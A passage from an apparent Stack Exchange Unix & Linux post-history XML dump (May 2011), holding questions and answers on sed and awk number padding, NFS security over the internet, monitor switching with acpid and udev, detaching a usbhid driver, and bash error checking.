/\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35026" PostHistoryTypeId="5" PostId="14009" RevisionGUID="7b695f1f-461f-47b6-b95a-e957bd861ffa" CreationDate="2011-05-29T18:53:03.827" UserId="2343" Comment="added 64 characters in body; deleted 4 characters in body" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;It is hard to construct something like this in a single line, but it is quite easy when it is laid out over many lines as shown in the last code section...     &#xD;&#xA;`printf` may be a solution, but it may not be as simple as I first thought, because of negative numbers..., so I'm throwing in this sed method because it does work, but there may be more simple solutions... &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    /\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35027" PostHistoryTypeId="5" PostId="14009" RevisionGUID="6eca09b7-0654-496f-a666-03e2a0ff8a7f" CreationDate="2011-05-29T18:58:10.973" UserId="2343" Comment="added 113 characters in body; deleted 1 characters in body; added 1 characters in body" Text="This is 4 sed expressions; long but simple  &#xD;&#xA;It adds an excess of leading zeroes, and then trims the numbers to 3 and 4 long for the left and right sides respectively.  &#xD;&#xA;It is hard to construct something like this in a single line, but it is quite easy when it is laid out over many lines as shown in the last code section...     &#xD;&#xA;printf *may* be a solution, but it is not be as simple as I first thought, because of negative numbers, ie. your requirement is that all the negative numbers have the same number of digits as the positive numbers..  &#xD;&#xA;...so I'm throwing in this sed method because it does work, but there may be more simple solutions... &#xD;&#xA;&#xD;&#xA;    sed -r -e &quot;s/^([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( )/00\1\200\3\4\500\6\7/&quot; -e &quot;s/0*([0-9][0-9][0-9])( : )0*([0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9])( )/\1\2\3\4\5\6\7/&quot; -e &quot;s/( )([0-9]+)( : )([0-9]+)( = )(-)?([0-9]+)( .)$/\1000\2\3000\4\5\6000\7\8/&quot; -e &quot;s/( )0*([0-9][0-9][0-9][0-9])( : )0*([0-9][0-9][0-9][0-9])( = )(-)?0*([0-9][0-9][0-9][0-9])( .)$/\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;    &lt;&lt;'EOF'&#xD;&#xA;    261 : 261 = 0 | 1192 : 1184 = 8 |&#xD;&#xA;    283 : 283 = 0 | 666 : 659 = 7 |&#xD;&#xA;    267 : 267 = 0 | 631 : 620 = 11 |&#xD;&#xA;    283 : 283 = 0 | 787 : 781 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 957 = 6 |&#xD;&#xA;    278 : 279 = -1 | 963 : 954 = -1 |&#xD;&#xA;    EOF&#xD;&#xA;&#xD;&#xA;Here is the output &#xD;&#xA;&#xD;&#xA;    261 : 261 = 000 | 1192 : 1184 = 0008 |&#xD;&#xA;    283 : 283 = 000 | 0666 : 0659 = 0007 |&#xD;&#xA;    267 : 267 = 000 | 0631 : 0620 = 0011 |&#xD;&#xA;    283 : 283 = 000 | 0787 : 0781 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0957 = 0006 |&#xD;&#xA;    278 : 279 = -001 | 0963 : 0954 = -0001 |&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;&#xD;&#xA;Here is a more readable version of the sed expressions.  &#xD;&#xA;&#xD;&#xA;    sed -r \&#xD;&#xA;    -e &quot;s/^\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( )\&#xD;&#xA;    /00\1\200\3\4\500\6\7/&quot; \&#xD;&#xA;    -e &quot;s/\&#xD;&#xA;    0*([0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9])( )\&#xD;&#xA;    /\1\2\3\4\5\6\7/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    ([0-9]+)( : )\&#xD;&#xA;    ([0-9]+)( = )(-)?\&#xD;&#xA;    ([0-9]+)( .)$\&#xD;&#xA;    /\1000\2\3000\4\5\6000\7\8/&quot; \&#xD;&#xA;    -e &quot;s/( )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( : )\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( = )(-)?\&#xD;&#xA;    0*([0-9][0-9][0-9][0-9])( .)$\&#xD;&#xA;    /\1\2\3\4\5\6\7\8/&quot; \&#xD;&#xA;" />
  <row Id="35028" PostHistoryTypeId="2" PostId="14011" RevisionGUID="4170c270-cc87-4eac-884d-faa1dc969c10" CreationDate="2011-05-29T19:28:28.977" UserId="7885" Text="Hi. &#xD;&#xA;&#xD;&#xA;I am using Debian Squeeze. &#xD;&#xA;&#xD;&#xA;When I suspend my laptop and wake it up again later, it doesn't ask for the system password. How do I fix this? " />
  <row Id="35029" PostHistoryTypeId="1" PostId="14011" RevisionGUID="4170c270-cc87-4eac-884d-faa1dc969c10" CreationDate="2011-05-29T19:28:28.977" UserId="7885" Text="Debian wake up from suspend password" />
  <row Id="35030" PostHistoryTypeId="3" PostId="14011" RevisionGUID="4170c270-cc87-4eac-884d-faa1dc969c10" CreationDate="2011-05-29T19:28:28.977" UserId="7885" Text="édebianàépasswordàésuspendà" />
  <row Id="35031" PostHistoryTypeId="2" PostId="14012" RevisionGUID="e0488e75-62fe-4d7b-b24f-8b09b3939e72" CreationDate="2011-05-29T20:08:33.213" UserId="3389" Text="Basically I need this specific version of the Tanuki Java Service Wrapper to run a specific Java application.  I downloaded the source from the Tanuki website and I'm trying to compile it from source.&#xD;&#xA;&#xD;&#xA;This is under a Debian Linux system `armv5tel` architecture.&#xD;&#xA;&#xD;&#xA;It uses Ant, and there is a `build.sh` script that invokes a copy of Ant provided in the source.&#xD;&#xA;&#xD;&#xA;However, the compilation fails with this message:&#xD;&#xA;&#xD;&#xA;    home/build/wrapper_3.1.2_src/build.xml:263: Error starting javah: java.lang.NoSuchMethodException: com.sun.tools.javah.Main.&lt;init&gt;([Ljava.lang.String;)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35032" PostHistoryTypeId="1" PostId="14012" RevisionGUID="e0488e75-62fe-4d7b-b24f-8b09b3939e72" CreationDate="2011-05-29T20:08:33.213" UserId="3389" Text="Issues compiling Tanuki Java Service wrapper version 3.1.2 under armv5tel architecture" />
  <row Id="35033" PostHistoryTypeId="3" PostId="14012" RevisionGUID="e0488e75-62fe-4d7b-b24f-8b09b3939e72" CreationDate="2011-05-29T20:08:33.213" UserId="3389" Text="élinuxàédebianàécompilingàéjavaàéarmv5telà" />
  <row Id="35034" PostHistoryTypeId="2" PostId="14013" RevisionGUID="74a78e6d-1720-439b-a877-09a871e475cf" CreationDate="2011-05-29T20:12:41.837" UserId="7574" Text="With the help of the guys who commented on my question, I figured out what was wrong and fixed it in the script.&#xD;&#xA;&#xD;&#xA;Here now the updated routines how to get automatic screen switching with your laptop to work. You need acpid, kms and udev.&#xD;&#xA;&#xD;&#xA;Create the following rules for acpi and udev&#xD;&#xA;&#xD;&#xA;/etc/acpi/events/lidclose&#xD;&#xA;&#xD;&#xA;    # Pass all events to our one handler script&#xD;&#xA;    event=button/lid&#xD;&#xA;    action=/etc/acpi/monitors.sh&#xD;&#xA;&#xD;&#xA;/etc/udev/rules.d/80-monitor.rules&#xD;&#xA;&#xD;&#xA;    # change monitor settings when monitor is plugged in or o$&#xD;&#xA;    ACTION==&quot;change&quot;, SUBSYSTEM==&quot;drm&quot;, HOTPLUG==&quot;1&quot;, RUN+=&quot;/etc/acpi/monitors.sh&quot;&#xD;&#xA;&#xD;&#xA;now create /etc/acpi/monitors.sh&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    # specify the monitors to use&#xD;&#xA;    INTERNAL=LVDS1&#xD;&#xA;    EXTERNAL=HDMI3&#xD;&#xA;    USERNAME=oli&#xD;&#xA;&#xD;&#xA;    # set some variables needed to control the x server&#xD;&#xA;    export XAUTHORITY=/home/$USERNAME/.Xauthority&#xD;&#xA;    export DISPLAY=:0&#xD;&#xA;&#xD;&#xA;    # functions to switch from internal screen to external screen and vice versa or to use both screens together&#xD;&#xA;    function internal {&#xD;&#xA;        echo &quot;Switching to internal&quot; &gt;&gt; /var/log/monitors.log&#xD;&#xA;        xrandr --verbose --output $EXTERNAL --off --output $INTERNAL --auto &gt;&gt; /var/log/monitors.log 2&gt;&amp;1&#xD;&#xA;    }&#xD;&#xA;    function external {&#xD;&#xA;        echo &quot;Switching to external&quot; &gt;&gt; /var/log/monitors.log&#xD;&#xA;        xrandr --verbose --output $EXTERNAL --auto --output $INTERNAL --off &gt;&gt; /var/log/monitors.log 2&gt;&amp;1&#xD;&#xA;    }&#xD;&#xA;    function both {&#xD;&#xA;        echo &quot;Switching to both&quot; &gt;&gt; /var/log/monitors.log&#xD;&#xA;        xrandr --verbose --output $EXTERNAL --auto --right-of $INTERNAL --output $INTERNAL --auto --primary &gt;&gt; /var/log/monitors.log 2&gt;&amp;1&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # functions to check if external monitor is connected and in use&#xD;&#xA;    function externalConnected {&#xD;&#xA;        ! xrandr | grep &quot;^$EXTERNAL&quot; | grep disconnected &gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;    function lidOpen {&#xD;&#xA;        ! cat /proc/acpi/button/lid/LID/state | grep closed &gt;/dev/null&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    # actual script&#xD;&#xA;    if externalConnected &amp;&amp; lidOpen&#xD;&#xA;    then&#xD;&#xA;        both&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    if externalConnected &amp;&amp; ! lidOpen&#xD;&#xA;    then&#xD;&#xA;        external&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    if ! externalConnected &amp;&amp; lidOpen&#xD;&#xA;    then&#xD;&#xA;        internal&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;And hopefully it'll work." />
  <row Id="35036" PostHistoryTypeId="5" PostId="9087" RevisionGUID="30a78ab5-9cd5-4f26-af35-595a31c90fed" CreationDate="2011-05-29T21:10:29.530" UserId="2511" Comment="added 42 characters in body; edited title" Text="I use [synergy][1] to control my laptop from my desktop when I have my laptop docked at my workstation.  Currently, I need to keep my laptop wired to the same router that my desktop is connected to in order to use synergy.  However, I will also take my laptop and work from other parts of the house.  I'd like to use just wireless on the laptop, so I don't have to switch connections to get up and move around.&#xD;&#xA;&#xD;&#xA;My desktop has a wired connection to a router.  When I'm using wireless on my laptop, I'm connecting through a different router.  Is there a way to set up synergy to connect from the wireless router `192.168.17.*` to the wired network `192.168.250.*`?&#xD;&#xA;&#xD;&#xA;I don't know much about network set up or terminology, so if I'm not including any pertinent details, please ask.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://synergy-foss.org/" />
  <row Id="35037" PostHistoryTypeId="4" PostId="9087" RevisionGUID="30a78ab5-9cd5-4f26-af35-595a31c90fed" CreationDate="2011-05-29T21:10:29.530" UserId="2511" Comment="added 42 characters in body; edited title" Text="How can I use Synergy when connected through different routers?" />
  <row Id="35038" PostHistoryTypeId="25" PostId="14010" RevisionGUID="2cdcdd02-0474-4e52-8521-6b49754a8cf5" CreationDate="2011-05-29T21:13:18.127" Comment="http://twitter.com/#!/StackUnix/status/74946436973867008" />
  <row Id="35039" PostHistoryTypeId="6" PostId="14012" RevisionGUID="8bd04613-bb5e-4781-87ab-c30421a7b288" CreationDate="2011-05-29T21:16:02.400" UserId="885" Comment="edited tags" Text="élinuxàédebianàécompilingàéjavaàéarmà" />
  <row Id="35040" PostHistoryTypeId="2" PostId="14014" RevisionGUID="329c82a3-7b90-463e-bbf6-b292ead02c4a" CreationDate="2011-05-29T21:26:00.980" UserId="2309" Text="Hi, I want to connect to my home server from work usin NFS. I tried sshfs but some pleople say it's not as reliable as NFS.&#xD;&#xA;&#xD;&#xA;I know sshfs traffic is encrypted. But what about NFS? Can someone sniff my traffic and view the files I'm copying?&#xD;&#xA;&#xD;&#xA;PS: I'm using NFSv4 in my LAN and it works great.&#xD;&#xA;&#xD;&#xA;Any opinions?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="35041" PostHistoryTypeId="1" PostId="14014" RevisionGUID="329c82a3-7b90-463e-bbf6-b292ead02c4a" CreationDate="2011-05-29T21:26:00.980" UserId="2309" Text="Is NFS secure over internet?" />
  <row Id="35042" PostHistoryTypeId="3" PostId="14014" RevisionGUID="329c82a3-7b90-463e-bbf6-b292ead02c4a" CreationDate="2011-05-29T21:26:00.980" UserId="2309" Text="éarchölinuxàénfsà" />
  <row Id="35043" PostHistoryTypeId="2" PostId="14015" RevisionGUID="3e68d030-05cc-4899-b9ca-745e80b856ed" CreationDate="2011-05-29T21:38:21.253" UserId="885" Text="Based on your sample input and output, I gather that&#xD;&#xA;&#xD;&#xA;* columns of numbers are always separated by whitespace;&#xD;&#xA;* you want to format each numeric column to a known fixed width;&#xD;&#xA;* you want the same number of digits in each line in each given column;&#xD;&#xA;* one column has a leading sign (space or `-`).&#xD;&#xA;&#xD;&#xA;This translates to the following awk script, which applies a `printf` format to each numeric column.&#xD;&#xA;&#xD;&#xA;    awk 'BEGIN {&#xD;&#xA;        widths[1]=widths[3]=3;&#xD;&#xA;        widths[5]=&quot; 4&quot;;&#xD;&#xA;        widths[7]=widths[9]=widths[11]=4&#xD;&#xA;    }&#xD;&#xA;    {&#xD;&#xA;        for (i in widths) $i = sprintf(&quot;%0&quot; widths[i] &quot;d&quot;, $i);&#xD;&#xA;        print&#xD;&#xA;    }'&#xD;&#xA;" />
  <row Id="35044" PostHistoryTypeId="2" PostId="14016" RevisionGUID="b992cce4-fd6b-4246-9b3e-90313ff3408f" CreationDate="2011-05-29T21:39:12.427" UserId="2511" Text="If you use NFSv4 with `sec=krb5p`, then yes, it is secure. (That means use Kerberos 5 for authentication, and encrypt the connection for privacy.) But if you use NFS v3 or NFS v4 with `sys=system`, then no, it's not secure at all.&#xD;&#xA;&#xD;&#xA;There might also be some concern with exposing the kerberos and rpc ports to the internet at large, just in case of unknown vulnerabilities." />
  <row Id="35045" PostHistoryTypeId="5" PostId="14014" RevisionGUID="4dde2665-5da8-4ed2-a37d-84c5de640704" CreationDate="2011-05-29T21:44:16.543" UserId="885" Comment="grammar; tags" Text="I want to connect to my home server from work using NFS. I tried sshfs but some people say it's not as reliable as NFS.&#xD;&#xA;&#xD;&#xA;I know sshfs traffic is encrypted. But what about NFS? Can someone sniff my traffic and view the files I'm copying?&#xD;&#xA;&#xD;&#xA;I'm using NFSv4 in my LAN and it works great.&#xD;&#xA;" />
  <row Id="35046" PostHistoryTypeId="6" PostId="14014" RevisionGUID="4dde2665-5da8-4ed2-a37d-84c5de640704" CreationDate="2011-05-29T21:44:16.543" UserId="885" Comment="grammar; tags" Text="élinuxàésecurityàénfsàédistributedöfilesystemà" />
  <row Id="35047" PostHistoryTypeId="5" PostId="13964" RevisionGUID="759bd5f9-5f75-4e85-8a20-a94629bb02f1" CreationDate="2011-05-29T21:49:06.633" UserId="7868" Comment="Added more info" Text="I have a USB rocket launcher that I wish to experiment with through `libusb`. However, libusb cannot claim the interface; presumably because the output of `usb-devices` lists 'usbhid' as the driver for the device.&#xD;&#xA;&#xD;&#xA;From reading around on the internet, I've only come to the conclusion that I need to detach this driver from the device so I can use it with libusb. However, I have not found a single definitive way to do that, only several different ideas and bug reports.&#xD;&#xA;&#xD;&#xA;So, is there a way to detach the usbhid driver from a device that would be relevant with the kernel and tools supplied with Ubuntu 11.04?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;I tried creating the file&#xD;&#xA;&#xD;&#xA;    /etc/udev/rules.d/10-usbhid.rules&#xD;&#xA;&#xD;&#xA;and writing the following:&#xD;&#xA;&#xD;&#xA;    ATTRS{idVendor}==&quot;0a81&quot;, ATTRS{idProduct}==&quot;0701&quot;, OPTIONS==&quot;ignore_device&quot;&#xD;&#xA;&#xD;&#xA;Saving, then rebooting. The file is still there, but it doesn't appear to be working at all.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Okay, I tried this:&#xD;&#xA;&#xD;&#xA;    sudo -i&#xD;&#xA;    echo -n &quot;0003:0A81:0701.0006&quot; &gt; /sys/bus/hid/drivers/generic-usb/unbind&#xD;&#xA;&#xD;&#xA;After that, navigating to /sys/bus/hid/devices/0003:0A81:0701.0006 and ls yields:&#xD;&#xA;&#xD;&#xA;    drwxr-xr-x 2 root root    0 2011-05-29 15:46 power&#xD;&#xA;    lrwxrwxrwx 1 root root    0 2011-05-29 13:19 subsystem -&gt;       ../../../../../../../../../bus/hid&#xD;&#xA;    -rw-r--r-- 1 root root 4096 2011-05-29 13:19 uevent&#xD;&#xA;&#xD;&#xA;It no longer lists a &quot;driver&quot; symlink like it did before, so I would assume that it unbound it. However, all evidence seems to suggest that the driver is still usbhid. For example usb-devices yields:&#xD;&#xA;&#xD;&#xA;    T:  Bus=02 Lev=03 Prnt=07 Port=00 Cnt=01 Dev#=  9 Spd=1.5 MxCh= 0&#xD;&#xA;    D:  Ver= 1.10 Cls=00(&gt;ifc ) Sub=00 Prot=00 MxPS= 8 #Cfgs=  1&#xD;&#xA;    P:  Vendor=0a81 ProdID=0701 Rev=00.01&#xD;&#xA;    S:  Manufacturer=Dream Link&#xD;&#xA;    S:  Product=USB Missile Launcher v1.0&#xD;&#xA;    C:  #Ifs= 1 Cfg#= 1 Atr=a0 MxPwr=100mA&#xD;&#xA;    I:  If#= 0 Alt= 0 #EPs= 1 Cls=03(HID  ) Sub=00 Prot=00 Driver=usbhid&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;libusb still retuns -1 on usb_claim_interface()....&#xD;&#xA;" />
  <row Id="35048" PostHistoryTypeId="2" PostId="14017" RevisionGUID="679d9a13-4bfa-48a8-bc7a-99827f53fceb" CreationDate="2011-05-29T21:51:26.747" UserId="885" Text="Pro: you don't waste one disk sector on a partition table. (Yay.)&#xD;&#xA;&#xD;&#xA;Pro: the disk can be used in an operating system that doesn't support PC-style partitions. (Like you're going to use one.)&#xD;&#xA;&#xD;&#xA;Con: this is unusual and may confuse co-sysadmins. (See?)&#xD;&#xA;&#xD;&#xA;Irrelevant: extending the filesystem is not easier if it's directly on the disk than if it's in a partition, nor vice versa. (Being on LVM would make it easier.)&#xD;&#xA;&#xD;&#xA;Conclusion: it works, but it's not a good idea.&#xD;&#xA;" />
  <row Id="35050" PostHistoryTypeId="2" PostId="14018" RevisionGUID="eea6bb03-7ae5-4187-8346-4422176f2096" CreationDate="2011-05-29T21:53:23.427" UserId="3046" Text="NFS itself is not generally considered secure - using the kerberos option as @matt suggests is one option, but your best bet if you have to use NFS is to use a secure VPN and run NFS over that - this way you at least protect the insecure filesystem from the Internet - ofcourse if someone breaches your VPN you're effectively wide open, but that would be the usual scenarion anyway." />
  <row Id="35051" PostHistoryTypeId="6" PostId="13995" RevisionGUID="30a600c8-895f-406f-bf80-01706f1ec063" CreationDate="2011-05-29T21:54:56.033" UserId="885" Comment="edited tags" Text="épostfixà" />
  <row Id="35052" PostHistoryTypeId="6" PostId="13992" RevisionGUID="235bfa00-b1c6-4cb6-b2bd-833361f94e14" CreationDate="2011-05-29T21:56:58.013" UserId="885" Comment="edited tags" Text="égrepàésedàéregexàécharacteröencodingà" />
  <row Id="35053" PostHistoryTypeId="2" PostId="14019" RevisionGUID="e15336ea-fa7e-4709-a623-46582c56e990" CreationDate="2011-05-29T21:58:11.730" UserId="6960" Text="I want to put an error checking solution to my script, it looks like this:&#xD;&#xA;&#xD;&#xA;    ! [ `echo $?` != 0 ] || echo &quot;omg, st went wrong, CTRL+C? `read`&quot;&#xD;&#xA;&#xD;&#xA;My goal is when this line runs it check the &quot;$?&quot; - if it's not 0 then it says &quot;omg, st went wrong, CTRL+C?&quot; then it waits for enter, or CTRL+C from the user. But my one-liner isn't working, because it waits for an enter before printing the &quot;omg, st went wrong, CTRL+C?&quot; text. Can someone help me what am I missing?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="35054" PostHistoryTypeId="1" PostId="14019" RevisionGUID="e15336ea-fa7e-4709-a623-46582c56e990" CreationDate="2011-05-29T21:58:11.730" UserId="6960" Text="Check that there was an error one-liner in script" />
  <row Id="35055" PostHistoryTypeId="3" PostId="14019" RevisionGUID="e15336ea-fa7e-4709-a623-46582c56e990" CreationDate="2011-05-29T21:58:11.730" UserId="6960" Text="élinuxàébashà" />
  <row Id="35056" PostHistoryTypeId="2" PostId="14020" RevisionGUID="ca1f2aaf-2f92-423a-826b-4cab619bc628" CreationDate="2011-05-29T22:02:30.013" UserId="6960" Text="got the solution: &#xD;&#xA;&#xD;&#xA;    $ uname -k || echo 'omg, fail' || read&#xD;&#xA;    uname: invalid option -- 'k'&#xD;&#xA;    Try `uname --help' for more information.&#xD;&#xA;    omg, fail&#xD;&#xA;    $ echo hi || echo 'omg, fail' || read&#xD;&#xA;    hi&#xD;&#xA;    $ " />
  <row Id="35057" PostHistoryTypeId="2" PostId="14021" RevisionGUID="5bffb4e0-06a3-461c-a72d-43c733ec9c3c" CreationDate="2011-05-29T22:03:48.327" UserId="5325" Text="That's correct; the `` `read` `` will be performed and the result interpolated into the string sent to `echo`.&#xD;&#xA;&#xD;&#xA;You're very much doing this the hard way, with all those interpolations and such.&#xD;&#xA;&#xD;&#xA;    if [[ $? -ne 0 ]]; then&#xD;&#xA;        echo -n 'command failed.  ^C or &quot;q&quot; to abort.'&#xD;&#xA;        read c&#xD;&#xA;        [[ &quot;$c&quot; == q ]] &amp;&amp; exit&#xD;&#xA;    fi" />
  <row Id="35058" PostHistoryTypeId="5" PostId="14020" RevisionGUID="f2b50e4f-8fdd-40a0-8de7-df3dd71ee54d" CreationDate="2011-05-29T22:07:36.610" UserId="6960" Comment="added 73 characters in body" Text="got the solution: &#xD;&#xA;&#xD;&#xA;    $ uname -k || echo 'omg, fail' || read&#xD;&#xA;    uname: invalid option -- 'k'&#xD;&#xA;    Try `uname --help' for more information.&#xD;&#xA;    omg, fail&#xD;&#xA;    $ echo hi || echo 'omg, fail' || read&#xD;&#xA;    hi&#xD;&#xA;    $ &#xD;&#xA;&#xD;&#xA;UPDATE: whoops, it doesn't waits for enter after printing the text :\" />
  <row Id="35059" PostHistoryTypeId="5" PostId="14019" RevisionGUID="93b42fb3-e0b2-49eb-a500-56ec7117288e" CreationDate="2011-05-29T22:09:30.960" UserId="6960" Comment="added 297 characters in body" Text="I want to put an error checking solution to my script, it looks like this:&#xD;&#xA;&#xD;&#xA;    ! [ `echo $?` != 0 ] || echo &quot;omg, st went wrong, CTRL+C? `read`&quot;&#xD;&#xA;&#xD;&#xA;My goal is when this line runs it check the &quot;$?&quot; - if it's not 0 then it says &quot;omg, st went wrong, CTRL+C?&quot; then it waits for enter, or CTRL+C from the user. But my one-liner isn't working, because it waits for an enter before printing the &quot;omg, st went wrong, CTRL+C?&quot; text. Can someone help me what am I missing?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;UPDATE: it would be better to do it after the command st like in: http://unix.stackexchange.com/questions/14019/check-that-there-was-an-error-one-liner-in-script/14020#14020&#xD;&#xA;&#xD;&#xA;the &quot;bad command&quot; is &quot;uname -k&quot; the good command is &quot;echo hi&quot; - the uname gives non zero exit code, the echo gives 0" />
  <row Id="35060" PostHistoryTypeId="2" PostId="14022" RevisionGUID="eb3153b3-9afd-481b-b7bf-d087cf58053b" CreationDate="2011-05-29T22:23:15.917" UserId="885" Text="The following Perl command prints the lines that do not contain any Chinese character (Han [script](http://en.wikipedia.org/wiki/Script_%28Unicode%29)). `-CIO` tells perl that the input and output are encoded in UTF-8.&#xD;&#xA;&#xD;&#xA;    perl -CIO -lne '/\p{Han}/ or print'&#xD;&#xA;" />
  <row Id="35061" PostHistoryTypeId="2" PostId="14023" RevisionGUID="2ca677e6-f633-444e-b8ec-5ccd833e096f" CreationDate="2011-05-29T22:23:56.367" UserId="7868" Text="Well, turns out that if you simply run the libusb program as root,&#xD;&#xA;&#xD;&#xA;    usb_detach_kernel_driver_np()&#xD;&#xA;&#xD;&#xA;actually works as expected.....&#xD;&#xA;&#xD;&#xA;Maybe this'll help someone else out!" />
  <row Id="35062" PostHistoryTypeId="6" PostId="13972" RevisionGUID="6b0702cd-7648-42cc-9bf1-7c12c4ac456f" CreationDate="2011-05-29T22:27:26.713" UserId="885" Comment="edited tags" Text="élinuxàéfilesystemsàédirectoryöstructureà" />
  <row Id="35064" PostHistoryTypeId="2" PostId="14024" RevisionGUID="5b95b967-0785-48e6-b369-c3c801d52bd7" CreationDate="2011-05-29T23:04:11.590" UserId="1375" Text="I've installed the latest Scientific Linux 6. But when I opened the included Nautilus file manager, there is no file tree sidebar and no toolbar, nor status bar. How do I activate them? Thanks." />
  <row Id="35065" PostHistoryTypeId="1" PostId="14024" RevisionGUID="5b95b967-0785-48e6-b369-c3c801d52bd7" CreationDate="2011-05-29T23:04:11.590" UserId="1375" Text="How to show Nautilus toolbar and file tree sidebar?" />
  <row Id="35066" PostHistoryTypeId="3" PostId="14024" RevisionGUID="5b95b967-0785-48e6-b369-c3c801d52bd7" CreationDate="2011-05-29T23:04:11.590" UserId="1375" Text="énautilusà" />
  <row Id="35067" PostHistoryTypeId="2" PostId="14025" RevisionGUID="66714360-78b1-4159-9aec-4d738535ab78" CreationDate="2011-05-29T23:47:52.130" UserId="4319" Text="If your system used [pam_tcb (tcb - the alternative to /etc/shadow)](http://www.openwall.com/tcb/) (and hence there were users' password files per user), you could also achieve what you want by managing file permissions and groups (say, add this user to the group that you make own the password file for root).&#xD;&#xA;&#xD;&#xA;In this case, I don't see any principal differences in the results as compared to the `sudo`-solution (if you are ready to trust `sudo`, of course), because you are anyway giving away the highest privilege to that user.&#xD;&#xA;&#xD;&#xA;But in other cases, `pam_tcb` gives more flexibility and security: first, you ought not to trust `sudo` and `passwd` in that they won't let the user exploit the privileges in an unwanted way; second, less privileges must be given to users to achieve certain similar configurations (and no setUID-root programs are needed at all) -- see, e.g., the quesion for a similar thing: [Reset [another] user's password without root&#xD;&#xA;](http://serverfault.com/questions/271630/reset-users-password-without-root/271968#271968)." />
